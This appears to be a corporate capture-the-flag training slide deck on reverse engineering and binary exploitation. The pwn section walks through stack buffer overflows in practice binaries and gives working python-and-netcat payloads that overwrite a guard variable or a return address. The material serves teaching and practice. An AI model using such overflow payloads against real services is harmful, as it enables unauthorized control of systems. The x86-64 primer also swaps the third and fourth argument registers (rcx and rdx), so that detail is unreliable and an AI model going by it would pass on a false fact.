# **CTF Training**

THE VALUE OF PERFORMANCE
NORTHROP GRUMMAN

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## Agenda



- Why CTF?
- Tools Used
- RE Problems
- PWN Problems

## Why CTF



- Builds critical problem solving skills
- We use those skills everyday to solve challenging problems
  - Field component development multiple platforms
  - Un-attributable communications
  - Radio and wired communications
  - Command and Control
  - Mission Planning
  - Operations knowledge and support
  - Vulnerability Analysis

### Tools



- IDA
  - Free for 32 bit binarys
- Ghidra
  - Open source from NSA
  - Includes decompilers
- Python
  - IDA python
  - Creating shellcode
- Objdump
- GDB
- Hex Workshop
- · Favorite Linux distro
- <a href="https://tools.kali.org/tools-listing">https://tools.kali.org/tools-listing</a>

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
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## **Reverse Engineering**

## x86-64 Assembly Primer



- \$rsp Points to the top of the stack. Stack grows towards lower addresses. Stack is allocated by subtracting from \$rsp.
- \$rbp Points to the base of the stack frame. Stores the previous base pointer and can be used to "unroll" the stack. \$rbp doesn't change within the stack frame so pointer arithmetic can be used with \$rbp to access local variables and function arguments.



## x86-64 Assembly Primer Continued



- \$rdi contains argument 1
- \$rsi contains argument 2
- \$rcx contains argument 3
- \$rdx contains argument 4

#### **RE Problems**



- Given a binary without the source code
- Find a flag (string of characters) hidden in the binary
- Approach
  - Run file utility to figure out what the file is
  - Run the binary
  - Find interesting strings (strings utility)
  - Examine binary (objdump)
  - Trace back the code that leads to the desired output
  - Focus on what input creates the desired output and ignore everything else
- Flag Format
  - nctf{}

#### h4ck3rz



- Simple warm up
- Start by running the file utility and then see if there are any interesting strings
  - file h4ck3rz
  - strings h4ck3rz

#### matr1x



- Slightly harder, but still easy to find string
- Run strings utility (strings matr1x)
- Run the binary (./matr1x)
- Disassemble binary (objdump -d -M intel matr1x)
- Look for anything that could transformed into the flag

#### kendrick



- Run binary (./kendrick)
- Find "hidden function" (objdump -d -M intel kendrick)
- Figure out where the characters are being outputted (puts)
- Apply "hidden function" to output and get the flag
  - Extract desired bytes
  - Use python to recreate the hidden function

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## **PWN**

#### **PWN Problems**



- Very similar to RE problems
- Binary usually runs on a server and accepts inputs
- Approach
  - Use static analysis (IDA, Objdump...) to identify a vulnerability
    - Vulnerabilities are found by looking at where the program takes input. Was the data not sanitized, were unsafe functions used with no bounds on copy?
  - Plan your exploit (shellcode on the stack, heap, rop chain?)
  - Write an exploit to gain control of program execution
  - Use GDB to dynamically debug shellcode
- Flag Format
  - nctf{}

#### overflowMe



- Run the binary
- Load the binary in IDA/Objdump
- The binary has an interesting function called 'win'
  - How is this function triggered?
- Can the variable that guards the call to 'win' be modified?
- Find the function that accepts input
  - How big is the buffer it copies to?
  - Does it put a size restriction on the copy?



```
esp, i⊎n
add
        [ebp+secret], 0
mov
        esp, OCh
sub
lea
        eax, [ebp+s]
push
        eax
call
        _gets
        esp, 10h
add
        [ebp+secret], 0
cmp
        short loc_8048612
įΖ
call
        win
```

- 'win' sounds like an interesting function
  - We don't care what it does. Just guessing we need to execute it
- 'secret' also sounds like an interesting variable
- 'secret' is compared to 0. If 'secret' is zero, then the branch is taken. If 'secret' is non-zero, then 'win' is called. How do we make 'secret' non-zero?

#### overflowMe Solve



- 'gets' is a dangerous function as it does unrestricted copies
- The stack variable 's' is getting passed to 'gets'
- The 'secret' variable is also on the stack. Can writing enough data into 's' change the value of 'secret'?

```
.text:080485CB s = byte ptr -48h
.text:080485CB secret = dword ptr -0Ch
```

- IDA tells us the layout of the stack in relation to \$ebp
- 'secret' is at a higher address than 's' and therefore can be overwritten
- 's' has 60 bytes allocated to it (0x48 0x0C). Writing 61 bytes to 's' will change the value of 'secret'

#### overflowMe Solve



- If unable to reach CTF server, create server on local machine
  - Put a flag.txt file in /home/overflowme
  - Run nc -l -p 1234 | ./overflowme
- Create the exploit string and pipe it to netcat

```
- python -c 'print "\xAA" * 61' | nc <ip addr> <port>
```

## slightlyHarder



- Very similar to last problem
- Run the binary
- Load it into IDA and see what you can find

### slightlyHarder Solve



'gets' is used again with a stack variable as the argument

```
.text:0804854B s = byte ptr -84h
.text:0804854B secret = dword ptr -0Ch
```

This time the buffer passed to 'gets' is 120 bytes long (0x84 – 0x0C)

```
text:08048578 cmp [ebp+secret], 1337h

text:0804857F jnz short loc_8048588

text:08048581 call win
```

• 'secret' must be equal to 0x1337 for 'win' to be called. 'secret' is initialized to 0 and never set after that. We have control over what 'secret' is after overflowing 's'.

### slightlyHarder Solve



- If unable to reach CTF server, create server on local machine
  - Put a flag.txt file in /home/slightlyharder
  - Run nc -l -p 1234 | ./slightlyharder
- Create exploit string and pipe it into netcat


```
- python -c 'print "\xAA" * 120 + "\x37\x13"' | nc <ip> <port>
```

- 120 bytes fill up the buffer 's'. The next two bytes overwrite "secret".
- We are working with little endian so the LSB must come first

#### cfiRedirect



- Another buffer overflow
- Goal is control over PC, not overwriting a stack variable
- Need to get control over \$eip. At the end of the function, \$ebp + 4 (the return address) will be popped off the stack and put into \$eip. Can we change what \$ebp + 4 is?



#### cfiRedirect Solve



```
• text:08048536 call vuln
```

"main" does an unconditional call to "vuln"

```
= byte ptr -44h
                = dword ptr -4
var 4
                         ebp
                push
                        ebp, esp
                mov
                push
                         ebx
                        esp, 44h
                sub
                call
                        __x86_get_pc_thunk_ax
                add
                        eax, 1334h
                sub
                        esp, OCh
                lea
                        edx, [ebp+s]
                         edx
                push
                                         ; S
                         ebx, eax
                mov
                call
                         _gets
```

• Once again "gets" is used, but "win" is never called. We can fix that by writing 68 bytes (0x44) to fill the stack frame, another 4 bytes to overwrite \$ebp, and another 4 to overwrite the return address.

#### cfiRedirect Solve



- If unable to reach CTF server, create server on local machine
  - Put a flag.txt file in /home/cfiredirect
  - Run nc -l -p 1234 | ./cfiredirect

```
text:08048549 ; void win()
```

- Address of win is 0x8048549. This is what we need to set \$ebp + 4 to.
   Remember little endian.
- Create exploit string and pipe it into netcat

```
- python -c 'print "\xAA" * 72 + "\x49\x85\x04\x08"'
```

Questions?



#### References



- https://software.intel.com/sites/default/files/article/402129/mpx-linux64abi.pdf
- https://www.hex-rays.com/products/ida/support/idapython\_docs/

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